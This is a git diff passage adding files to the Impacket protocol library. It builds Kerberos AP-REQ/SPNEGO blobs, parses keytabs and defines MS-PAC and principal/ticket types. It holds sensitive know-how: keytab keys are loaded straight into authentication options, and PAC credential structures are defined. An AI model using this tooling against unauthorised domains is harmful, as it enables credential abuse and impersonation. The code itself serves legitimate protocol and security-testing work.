+
+    blob = SPNEGO_NegTokenInit() 
+
+    # Kerberos
+    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+    # Let's extract the ticket from the TGS
+    tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
+    ticket = Ticket()
+    ticket.from_asn1(tgs['ticket'])
+    
+    # Now let's build the AP_REQ
+    apReq = AP_REQ()
+    apReq['pvno'] = 5
+    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+    opts = list()
+    opts.append(constants.APOptions.mutual_required.value)
+    apReq['ap-options'] = constants.encodeFlags(opts)
+    seq_set(apReq,'ticket', ticket.to_asn1)
+
+    authenticator = Authenticator()
+    authenticator['authenticator-vno'] = 5
+    authenticator['crealm'] = domain
+    seq_set(authenticator, 'cname', userName.components_to_asn1)
+    now = datetime.datetime.utcnow()
+
+    authenticator['cusec'] = now.microsecond
+    authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+    
+    authenticator['cksum'] = noValue
+    authenticator['cksum']['cksumtype'] = 0x8003
+
+    chkField = CheckSumField()
+    chkField['Lgth'] = 16
+
+    chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
+    #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
+    authenticator['cksum']['checksum'] = chkField.getData()
+    authenticator['seq-number'] = 0
+    encodedAuthenticator = encoder.encode(authenticator)
+
+    # Key Usage 11
+    # AP-REQ Authenticator (includes application authenticator
+    # subkey), encrypted with the application session key
+    # (Section 5.5.1)
+    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+    apReq['authenticator'] = noValue
+    apReq['authenticator']['etype'] = cipher.enctype
+    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+    blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
+            TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))
+
+    return cipher, sessionKey, blob.getData()
+
+
+class SessionKeyDecryptionError(Exception):
+    """
+    Exception risen when we fail to decrypt a session key within an AS-REP
+    message.
+    It provides context information such as full AS-REP message but also the
+    cipher, key and cipherText used when the error occurred.
+    """
+    def __init__( self, message, asRep, cipher, key, cipherText):
+        self.message = message
+        self.asRep = asRep
+        self.cipher = cipher
+        self.key = key
+        self.cipherText = cipherText
+
+    def __str__ ( self):
+        return "SessionKeyDecryptionError: %s" % self.message
+
+
+class KerberosError(SessionError):
+    """
+    This is the exception every client should catch regardless of the underlying
+    SMB version used. We'll take care of that. NETBIOS exceptions are NOT included,
+    since all SMB versions share the same NETBIOS instances.
+    """
+    def __init__( self, error = 0, packet=0):
+        SessionError.__init__(self)
+        self.error = error
+        self.packet = packet
+        if packet != 0:
+            self.error = self.packet['error-code']
+       
+    def getErrorCode( self ):
+        return self.error
+
+    def getErrorPacket( self ):
+        return self.packet
+
+    def getErrorString( self ):
+        return constants.ERROR_MESSAGES[self.error]
+
+    def __str__( self ):
+        retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error])
+        try:
+            # Let's try to get the NT ERROR, if not, we quit and give the general one
+            if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value:
+                eData = decoder.decode(self.packet['e-data'], asn1Spec = KERB_ERROR_DATA())[0]
+                nt_error = struct.unpack('<L', eData['data-value'].asOctets()[:4])[0]
+                retString += '\nNT ERROR: %s(%s)' % (nt_errors.ERROR_MESSAGES[nt_error])
+        except:
+            pass
+
+        return retString
diff --git a/impacket/krb5/keytab.py b/impacket/krb5/keytab.py
new file mode 100644
index 0000000..3c569a0
--- /dev/null
+++ b/impacket/krb5/keytab.py
@@ -0,0 +1,297 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Kerberos Keytab format implementation
+#   based on file format described at:
+#   https://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/keytab.txt
+#   As the ccache implementation, pretty lame and quick
+#   Feel free to improve
+#
+# Author:
+#   Patrick Welzel (@kcirtapw)
+#
+from datetime import datetime
+from enum import Enum
+from six import b
+
+from struct import pack, unpack, calcsize
+from binascii import hexlify
+
+from impacket.structure import Structure
+from impacket import LOG
+
+
+class Enctype(Enum):
+    DES_CRC = 1
+    DES_MD4 = 2
+    DES_MD5 = 3
+    DES3 = 16
+    AES128 = 17
+    AES256 = 18
+    RC4 = 23
+
+
+class CountedOctetString(Structure):
+    """
+    Note: This is very similar to the CountedOctetString structure in ccache, except:
+      * `length` is uint16 instead of uint32
+    """
+    structure = (
+        ('length','!H=0'),
+        ('_data','_-data','self["length"]'),
+        ('data',':'),
+    )
+
+    def prettyPrint(self, indent=''):
+        return "%s%s" % (indent, hexlify(self['data']))
+
+
+class KeyBlock(Structure):
+    structure = (
+        ('keytype','!H=0'),
+        ('keyvalue',':', CountedOctetString),
+    )
+
+    def prettyKeytype(self):
+        try:
+            return Enctype(self['keytype']).name
+        except:
+            return "UNKNOWN:0x%x" % (self['keytype'])
+
+    def hexlifiedValue(self):
+        return hexlify(self['keyvalue']['data'])
+
+    def prettyPrint(self):
+        return "(%s)%s" % (self.prettyKeytype(), self.hexlifiedValue())
+
+
+class KeytabPrincipal:
+    """
+    Note: This is very similar to the principal structure in ccache, except:
+      * `num_components` is just uint16
+      * using other size type for CountedOctetString
+      * `name_type` field follows the other fields behind.
+    """
+    class PrincipalHeader1(Structure):
+        structure = (
+            ('num_components', '!H=0'),
+        )
+
+    class PrincipalHeader2(Structure):
+        structure = (
+            ('name_type', '!L=0'),
+        )
+
+    def __init__(self, data=None):
+        self.components = []
+        self.realm = None
+        if data is not None:
+            self.header1 = self.PrincipalHeader1(data)
+            data = data[len(self.header1):]
+            self.realm = CountedOctetString(data)
+            data = data[len(self.realm):]
+            self.components = []
+            for component in range(self.header1['num_components']):
+                comp = CountedOctetString(data)
+                data = data[len(comp):]
+                self.components.append(comp)
+            self.header2 = self.PrincipalHeader2(data)
+        else:
+            self.header1 = self.PrincipalHeader1()
+            self.header2 = self.PrincipalHeader2()
+
+    def __len__(self):
+        totalLen = len(self.header1) + len(self.header2) + len(self.realm)
+        for i in self.components:
+            totalLen += len(i)
+        return totalLen
+
+    def getData(self):
+        data = self.header1.getData() + self.realm.getData()
+        for component in self.components:
+            data += component.getData()
+        data += self.header2.getData()
+        return data
+
+    def __str__(self):
+        return self.getData()
+
+    def prettyPrint(self):
+        principal = b''
+        for component in self.components:
+            if isinstance(component['data'], bytes) is not True:
+                component = b(component['data'])
+            else:
+                component = component['data']
+            principal += component + b'/'
+
+        principal = principal[:-1]
+        if isinstance(self.realm['data'], bytes):
+            realm = self.realm['data']
+        else:
+            realm = b(self.realm['data'])
+        principal += b'@' + realm
+        return principal
+
+
+class KeytabEntry:
+    class KeytabEntryMainpart(Structure):
+        """
+      keytab_entry {
+          int32_t size;     # wtf, signed size. what could possibly ...
+          uint16_t num_components;    /* sub 1 if version 0x501 */  |\
+          counted_octet_string realm;                               | \\  Keytab
+          counted_octet_string components[num_components];          | /  Princial
+          uint32_t name_type;   /* not present if version 0x501 */  |/
+          uint32_t timestamp;
+          uint8_t vno8;
+          keyblock key;
+          uint32_t vno; /* only present if >= 4 bytes left in entry */
+      };
+        """
+        structure = (
+            ('size', '!l=0'),
+            ('principal', ':', KeytabPrincipal),
+            ('timestamp', '!L=0'),
+            ('vno8', '!B=0'),
+            ('keyblock', ':', KeyBlock),
+        )
+
+    def __init__(self, data=None):
+        self.rest = b''
+        if data:
+            self.main_part = self.KeytabEntryMainpart(data)
+            self.size = abs(self.main_part['size']) + 4  # size field itself not included
+            self.kvno = self.main_part['vno8']
+            self.deleted = self.main_part['size'] < 0
+            len_main = len(self.main_part)
+            if self.size > len_main:
+                self.rest = data[len_main:self.size]
+                if len(self.rest) >= 4 and \
+                        self.rest[:4] != [0, 0, 0, 0]:  # if "field" is present but all 0, it seems to gets ignored
+                    self.kvno = unpack('!L', self.rest[:4])[0]
+        else:
+            self.main_part = self.KeytabEntryMainpart()
+            self.deleted = True
+            self.size = len(self.main_part)
+            self.kvno = 0
+
+    def __len__(self):
+        return self.size
+
+    def getData(self):
+        data = self.main_part.getData()
+        if self.rest:
+            data += self.rest
+        return data
+
+    def prettyPrint(self, indent=''):
+        if self.deleted:
+            return "%s[DELETED]" % indent
+        else:
+            text = "%sPrincipal: %s\n" %(indent, self.main_part['principal'].prettyPrint())
+            text += "%sTimestamp: %s" % (indent, datetime.fromtimestamp(self.main_part['timestamp']).isoformat())
+            text += "\tKVNO: %i\n" % self.kvno
+            text += "%sKey: %s" % (indent, self.main_part['keyblock'].prettyPrint())
+            #if self.rest:
+            #    text += "\n%sRest: %s" % (indent, self.rest)
+            return text
+
+
+class Keytab:
+
+    GetkeyEnctypePreference = (Enctype.AES256.value,
+                                 Enctype.AES128.value,
+                                 Enctype.RC4.value)
+
+    class MiniHeader(Structure):
+        structure = (
+            ('file_format_version', '!H=0x0502'),
+        )
+
+    def __init__(self, data=None):
+        self.miniHeader = None
+        self.entries = []
+        if data is not None:
+            self.miniHeader = self.MiniHeader(data)
+            data = data[len(self.miniHeader):]
+            while len(data):
+                entry = KeytabEntry(data)
+                self.entries.append(entry)
+                data = data[len(entry):]
+
+    def getData(self):
+        data = self.MiniHeader().getData()
+        for entry in self.entries:
+            data += entry.getData()
+        return data
+
+    def getKey(self, principal, specificEncType=None, ignoreRealm=True):
+        principal = b(principal.upper())
+        if ignoreRealm:
+            principal = principal.split(b'@')[0]
+        matching_keys = {}
+        for entry in self.entries:
+            entry_principal = entry.main_part['principal'].prettyPrint().upper()
+            if entry_principal == principal or (ignoreRealm and entry_principal.split(b'@')[0] == principal):
+                keytype = entry.main_part["keyblock"]["keytype"]
+                if keytype == specificEncType:
+                    LOG.debug('Returning %s key for %s' % (entry.main_part['keyblock'].prettyKeytype(),
+                                                           entry.main_part['principal'].prettyPrint()))
+                    return entry.main_part["keyblock"]
+                elif specificEncType is None:
+                    matching_keys[keytype] = entry
+
+        if specificEncType is None and matching_keys:
+            for preference in self.GetkeyEnctypePreference:
+                if preference in matching_keys:
+                    entry = matching_keys[preference]
+                    LOG.debug('Returning %s key for %s' % (entry.main_part['keyblock'].prettyKeytype(),
+                                                           entry.main_part['principal'].prettyPrint()))
+                    return entry.main_part["keyblock"]
+
+        LOG.debug('Principal %s not found in keytab' % principal)
+        return None
+
+    @classmethod
+    def loadFile(cls, fileName):
+        f = open(fileName, 'rb')
+        data = f.read()
+        f.close()
+        return cls(data)
+
+    @classmethod
+    def loadKeysFromKeytab(cls, fileName, username, domain, options):
+        keytab = Keytab.loadFile(fileName)
+        keyblock = keytab.getKey("%s@%s" % (username, domain))
+        if keyblock:
+            if keyblock["keytype"] == Enctype.AES256.value or keyblock["keytype"] == Enctype.AES128.value:
+                options.aesKey = keyblock.hexlifiedValue()
+            elif keyblock["keytype"] == Enctype.RC4.value:
+                options.hashes= ':' + keyblock.hexlifiedValue().decode('ascii')
+        else:
+            LOG.warning("No matching key for SPN '%s' in given keytab found!", username)
+
+
+    def saveFile(self, fileName):
+        f = open(fileName, 'wb+')
+        f.write(self.getData())
+        f.close()
+
+    def prettyPrint(self):
+        print("Keytab Entries:")
+        for i, entry in enumerate(self.entries):
+            print(("[%d]" % i))
+            print(entry.prettyPrint('\t'))
+
+
+if __name__ == '__main__':
+    import sys
+    keytab = Keytab.loadFile(sys.argv[1])
+    keytab.prettyPrint()
diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py
new file mode 100644
index 0000000..f01bc47
--- /dev/null
+++ b/impacket/krb5/pac.py
@@ -0,0 +1,238 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-PAC] Implementation
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT
+from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER
+from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1
+from impacket.structure import Structure
+
+################################################################################
+# CONSTANTS
+################################################################################
+# From https://msdn.microsoft.com/library/aa302203#msdn_pac_credentials
+# and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862
+PAC_LOGON_INFO       = 1
+PAC_CREDENTIALS_INFO = 2
+PAC_SERVER_CHECKSUM  = 6
+PAC_PRIVSVR_CHECKSUM = 7
+PAC_CLIENT_INFO_TYPE = 10
+PAC_DELEGATION_INFO  = 11
+PAC_UPN_DNS_INFO     = 12
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+PISID = PRPC_SID
+
+# 2.2.1 KERB_SID_AND_ATTRIBUTES
+class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT):
+    structure = (
+        ('Sid', PISID),
+        ('Attributes', ULONG),
+    )
+
+class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
+    item = KERB_SID_AND_ATTRIBUTES
+
+class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
+    )
+
+# 2.2.2 GROUP_MEMBERSHIP
+from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY
+
+# 2.2.3 DOMAIN_GROUP_MEMBERSHIP
+class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT):
+    structure = (
+        ('DomainId', PISID),
+        ('GroupCount', ULONG),
+        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
+    )
+
+class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
+    item = DOMAIN_GROUP_MEMBERSHIP
+
+class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
+    )
+
+# 2.3 PACTYPE
+class PACTYPE(Structure):
+    structure = (
+        ('cBuffers', '<L=0'),
+        ('Version', '<L=0'),
+        ('Buffers', ':'),
+    )
+
+# 2.4 PAC_INFO_BUFFER
+class PAC_INFO_BUFFER(Structure):
+    structure = (
+        ('ulType', '<L=0'),
+        ('cbBufferSize', '<L=0'),
+        ('Offset', '<Q=0'),
+    )
+
+# 2.5 KERB_VALIDATION_INFO
+class KERB_VALIDATION_INFO(NDRSTRUCT):
+    structure = (
+        ('LogonTime', FILETIME),
+        ('LogoffTime', FILETIME),
+        ('KickOffTime', FILETIME),
+        ('PasswordLastSet', FILETIME),
+        ('PasswordCanChange', FILETIME),
+        ('PasswordMustChange', FILETIME),
+        ('EffectiveName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('LogonScript', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('LogonCount', USHORT),
+        ('BadPasswordCount', USHORT),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('GroupCount', ULONG),
+        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
+        ('UserFlags', ULONG),
+        ('UserSessionKey', USER_SESSION_KEY),
+        ('LogonServer', RPC_UNICODE_STRING),
+        ('LogonDomainName', RPC_UNICODE_STRING),
+        ('LogonDomainId', PRPC_SID),
+
+        # Also called Reserved1
+        ('LMKey', CHAR_FIXED_8_ARRAY),
+
+        ('UserAccountControl', ULONG),
+        ('SubAuthStatus', ULONG),
+        ('LastSuccessfulILogon', FILETIME),
+        ('LastFailedILogon', FILETIME),
+        ('FailedILogonCount', ULONG),
+        ('Reserved3', ULONG),
+
+        ('SidCount', ULONG),
+        #('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),
+        ('ExtraSids', PKERB_SID_AND_ATTRIBUTES_ARRAY),
+        ('ResourceGroupDomainSid', PISID),
+        ('ResourceGroupCount', ULONG),
+        ('ResourceGroupIds', PGROUP_MEMBERSHIP_ARRAY),
+    )
+
+class PKERB_VALIDATION_INFO(NDRPOINTER):
+    referent = (
+        ('Data', KERB_VALIDATION_INFO),
+    )
+
+# 2.6.1 PAC_CREDENTIAL_INFO
+class PAC_CREDENTIAL_INFO(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('EncryptionType', '<L=0'),
+        ('SerializedData', ':'),
+    )
+
+# 2.6.3 SECPKG_SUPPLEMENTAL_CRED
+class SECPKG_SUPPLEMENTAL_CRED(NDRSTRUCT):
+    structure = (
+        ('PackageName', RPC_UNICODE_STRING),
+        ('CredentialSize', ULONG),
+        ('Credentials', PUCHAR_ARRAY),
+    )
+
+class SECPKG_SUPPLEMENTAL_CRED_ARRAY(NDRUniConformantArray):
+    item = SECPKG_SUPPLEMENTAL_CRED
+
+# 2.6.2 PAC_CREDENTIAL_DATA
+class PAC_CREDENTIAL_DATA(NDRSTRUCT):
+    structure = (
+        ('CredentialCount', ULONG),
+        ('Credentials', SECPKG_SUPPLEMENTAL_CRED_ARRAY),
+    )
+
+# 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL
+class NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT):
+    structure = (
+        ('Version', ULONG),
+        ('Flags', ULONG),
+        ('LmPassword', '16s=b""'),
+        ('NtPassword', '16s=b""'),
+    )
+
+# 2.7 PAC_CLIENT_INFO
+class PAC_CLIENT_INFO(Structure):
+    structure = (
+        ('ClientId', '<Q=0'),
+        ('NameLength', '<H=0'),
+        ('_Name', '_-Name', 'self["NameLength"]'),
+        ('Name', ':'),
+    )
+
+# 2.8 PAC_SIGNATURE_DATA
+class PAC_SIGNATURE_DATA(Structure):
+    structure = (
+        ('SignatureType', '<l=0'),
+        ('Signature', ':'),
+    )
+
+# 2.9 Constrained Delegation Information - S4U_DELEGATION_INFO
+class S4U_DELEGATION_INFO(NDRSTRUCT):
+    structure = (
+        ('S4U2proxyTarget', RPC_UNICODE_STRING),
+        ('TransitedListSize', ULONG),
+        ('S4UTransitedServices', PRPC_UNICODE_STRING_ARRAY ),
+    )
+
+# 2.10 UPN_DNS_INFO
+class UPN_DNS_INFO(Structure):
+    structure = (
+        ('UpnLength', '<H=0'),
+        ('UpnOffset', '<H=0'),
+        ('DnsDomainNameLength', '<H=0'),
+        ('DnsDomainNameOffset', '<H=0'),
+        ('Flags', '<L=0'),
+    )
+
+# 2.11 PAC_CLIENT_CLAIMS_INFO
+class PAC_CLIENT_CLAIMS_INFO(Structure):
+    structure = (
+        ('Claims', ':'),
+    )
+
+# 2.12 PAC_DEVICE_INFO
+class PAC_DEVICE_INFO(NDRSTRUCT):
+    structure = (
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('AccountDomainId', PISID ),
+        ('AccountGroupCount', ULONG ),
+        ('AccountGroupIds', PGROUP_MEMBERSHIP_ARRAY ),
+        ('SidCount', ULONG ),
+        ('ExtraSids', PKERB_SID_AND_ATTRIBUTES_ARRAY ),
+        ('DomainGroupCount', ULONG ),
+        ('DomainGroup', PDOMAIN_GROUP_MEMBERSHIP_ARRAY ),
+    )
+
+# 2.13 PAC_DEVICE_CLAIMS_INFO
+class PAC_DEVICE_CLAIMS_INFO(Structure):
+    structure = (
+        ('Claims', ':'),
+    )
+
+class VALIDATION_INFO(TypeSerialization1):
+    structure = (
+        ('Data', PKERB_VALIDATION_INFO),
+    )
diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py
new file mode 100644
index 0000000..d6a6cbc
--- /dev/null
+++ b/impacket/krb5/types.py
@@ -0,0 +1,284 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Copyright and license note from types.py:
+#
+# Copyright (c) 2013, Marc Horowitz
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+# Redistributions of source code must retain the above copyright notice,
+# this list of conditions and the following disclaimer.
+#
+# Redistributions in binary form must reproduce the above copyright
+# notice, this list of conditions and the following disclaimer in the
+# documentation and/or other materials provided with the distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+import datetime
+import socket
+import re
+import struct
+
+from pyasn1.codec.der import decoder
+
+from . import asn1
+from . import constants
+
+
+class KerberosException(Exception):
+    pass
+
+def _asn1_decode(data, asn1Spec):
+    if isinstance(data, str) or isinstance(data,bytes):
+        data, substrate = decoder.decode(data, asn1Spec=asn1Spec)
+        if substrate != b'':
+            raise KerberosException("asn1 encoding invalid")
+    return data
+
+# A principal can be represented as:
+
+class Principal(object):
+    """The principal's value can be supplied as:
+* a single string
+* a sequence containing a sequence of component strings and a realm string
+* a sequence whose first n-1 elemeents are component strings and whose last
+  component is the realm
+
+If the value contains no realm, then default_realm will be used."""
+    def __init__(self, value=None, default_realm=None, type=None):
+        self.type = constants.PrincipalNameType.NT_UNKNOWN
+        self.components = []
+        self.realm = None
+
+        if value is None:
+            return
+
+        try:               # Python 2
+            if isinstance(value, unicode):
+                value = value.encode('utf-8')
+        except NameError:  # Python 3
+            if isinstance(value, bytes):
+                value = value.decode('utf-8')
+
+        if isinstance(value, Principal):
+            self.type = value.type
+            self.components = value.components[:]
+            self.realm = value.realm
+        elif isinstance(value, str):
+            m = re.match(r'((?:[^\\]|\\.)+?)(@((?:[^\\@]|\\.)+))?$', value)
+            if not m:
+                raise KerberosException("invalid principal syntax")
+
+            def unquote_component(comp):
+                return re.sub(r'\\(.)', r'\1', comp)
+
+            if m.group(2) is not None:
+                self.realm = unquote_component(m.group(3))
+            else:
+                self.realm = default_realm
+
+            self.components = [
+                unquote_component(qc)
+                for qc in re.findall(r'(?:[^\\/]|\\.)+', m.group(1))]
+        elif len(value) == 2:
+            self.components = value[0]
+            self.realm = value[-1]
+            if isinstance(self.components, str):
+                self.components = [self.components]
+        elif len(value) >= 2:
+            self.components = value[0:-1]
+            self.realm = value[-1]
+        else:
+            raise KerberosException("invalid principal value")
+
+        if type is not None:
+            self.type = type
+
+    def __eq__(self, other):
+        if isinstance (other, str):
+            other = Principal (other)
+
+        return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or
+                other.type == constants.PrincipalNameType.NT_UNKNOWN.value or
+                self.type == other.type) and all (map (lambda a, b: a == b, self.components, other.components)) and \
+               self.realm == other.realm
+
+    def __str__(self):
+        def quote_component(comp):
+            return re.sub(r'([\\/@])', r'\\\1', comp)
+
+        ret = "/".join([quote_component(c) for c in self.components])
+        if self.realm is not None:
+            ret += "@" + self.realm
+
+        return ret
+
+    def __repr__(self):
+        return "Principal((" + repr(self.components) + ", " + \
+               repr(self.realm) + "), t=" + str(self.type) + ")"
+
+    def from_asn1(self, data, realm_component, name_component):
+        name = data.getComponentByName(name_component)
+        self.type = constants.PrincipalNameType(
+            name.getComponentByName('name-type')).value
+        self.components = [
+            str(c) for c in name.getComponentByName('name-string')]
+        self.realm = str(data.getComponentByName(realm_component))
+        return self
+
+    def components_to_asn1(self, name):
+        name.setComponentByName('name-type', int(self.type))
+        strings = name.setComponentByName('name-string'
+                                          ).getComponentByName('name-string')
+        for i, c in enumerate(self.components):
+            strings.setComponentByPosition(i, c)
+
+        return name
+
+class Address(object):
+    DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0)
+    DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1)
+
+    def __init__(self):
+        self.type = None
+        self.data = None
+
+    def __str__(self):
+        family = self.family
+
+        if family is not None:
+            return str((family, self.address))
+        else:
+            return str((self.type, self.value))
+
+    @property
+    def family(self):
+        if self.type == constants.AddressType.IPv4.value:
+            return socket.AF_INET
+        elif self.type == constants.AddressType.IPv4.value:
+            return socket.AF_INET6
+        else:
+            return None
+
+    @property
+    def address(self):
+        if self.type == constants.AddressType.IPv4.value:
+            return socket.inet_pton(self.family, self.data)
+        elif self.type == constants.AddressType.IPv4.value:
+            return socket.inet_pton(self.family, self.data)
+        else:
+            return None
+
+    def encode(self):
+        # ipv4-mapped ipv6 addresses must be encoded as ipv4.
+        pass
+
+class EncryptedData(object):
+    def __init__(self):
+        self.etype = None
+        self.kvno = None
+        self.ciphertext = None
+
+    def from_asn1(self, data):
+        data = _asn1_decode(data, asn1.EncryptedData())
+        self.etype = constants.EncryptionTypes(data.getComponentByName('etype')).value
+        kvno = data.getComponentByName('kvno')
+        if (kvno is None) or (kvno.hasValue() is False):
+            self.kvno = False
+        else:
+            self.kvno = kvno
+        self.ciphertext = str(data.getComponentByName('cipher'))
+        return self
+
+    def to_asn1(self, component):
+        component.setComponentByName('etype', int(self.etype))
+        if self.kvno:
+            component.setComponentByName('kvno', self.kvno)
+        component.setComponentByName('cipher', self.ciphertext)
+        return component
+
+class Ticket(object):
+    def __init__(self):
+        # This is the kerberos version, not the service principal key
+        # version number.
+        self.tkt_vno = None
+        self.service_principal = None
+        self.encrypted_part = None
+
+    def from_asn1(self, data):
+        data = _asn1_decode(data, asn1.Ticket())
+        self.tkt_vno = int(data.getComponentByName('tkt-vno'))
+        self.service_principal = Principal()
+        self.service_principal.from_asn1(data, 'realm', 'sname')
+        self.encrypted_part = EncryptedData()
+        self.encrypted_part.from_asn1(data.getComponentByName('enc-part'))
+        return self
+
+    def to_asn1(self, component):
+        component.setComponentByName('tkt-vno', 5)
+        component.setComponentByName('realm', self.service_principal.realm)
+        asn1.seq_set(component, 'sname',
+                     self.service_principal.components_to_asn1)
+        asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1)
+        return component
+
+    def __str__(self):
+        return "<Ticket for %s vno %s>" % (str(self.service_principal), str(self.encrypted_part.kvno)) 
+
+class KerberosTime(object):
+    INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0)
+
+    @staticmethod
+    def to_asn1(dt):
+        # A KerberosTime is really just a string, so we can return a
+        # string here, and the asn1 library will convert it correctly.
+
+        return "%04d%02d%02d%02d%02d%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)
+
+    @staticmethod
+    def from_asn1(data):
+        data = str(data)
+        year = int(data[0:4])
+        month = int(data[4:6])
+        day = int(data[6:8])
+        hour = int(data[8:10])
+        minute = int(data[10:12])
+        second = int(data[12:14])
+        if data[14] != 'Z':
+            raise KerberosException("timezone in KerberosTime is not Z")
+        return datetime.datetime(year, month, day, hour, minute, second)
+
+if __name__ == '__main__':
+    # TODO marc: turn this into a real test
+    print(Principal("marc"))
+    print(Principal(("marc", None)))
+    print(Principal((("marc",), None)))
+    print(Principal("marc@ATHENA.MIT.EDU"))
+    print(Principal("marc", default_realm="ATHENA.MIT.EDU"))
+    print(Principal("marc@ATHENA.MIT.EDU", default_realm="EXAMPLE.COM"))
+    print(Principal(("marc", "ATHENA.MIT.EDU")))
+    print(Principal((("marc"), "ATHENA.MIT.EDU")))
+    print(Principal("marc/root"))
+    print(Principal(("marc", "root", "ATHENA.MIT.EDU")))
+    print(Principal((("marc", "root"), "ATHENA.MIT.EDU")))
+    print(Principal("marc\\/root"))
diff --git a/impacket/ldap/__init__.py b/impacket/ldap/__init__.py
new file mode 100644
index 0000000..c6d3ea5
--- /dev/null
+++ b/impacket/ldap/__init__.py
@@ -0,0 +1,10 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+pass
diff --git a/impacket/ldap/ldap.py b/impacket/ldap/ldap.py
new file mode 100644
index 0000000..1e06400
--- /dev/null
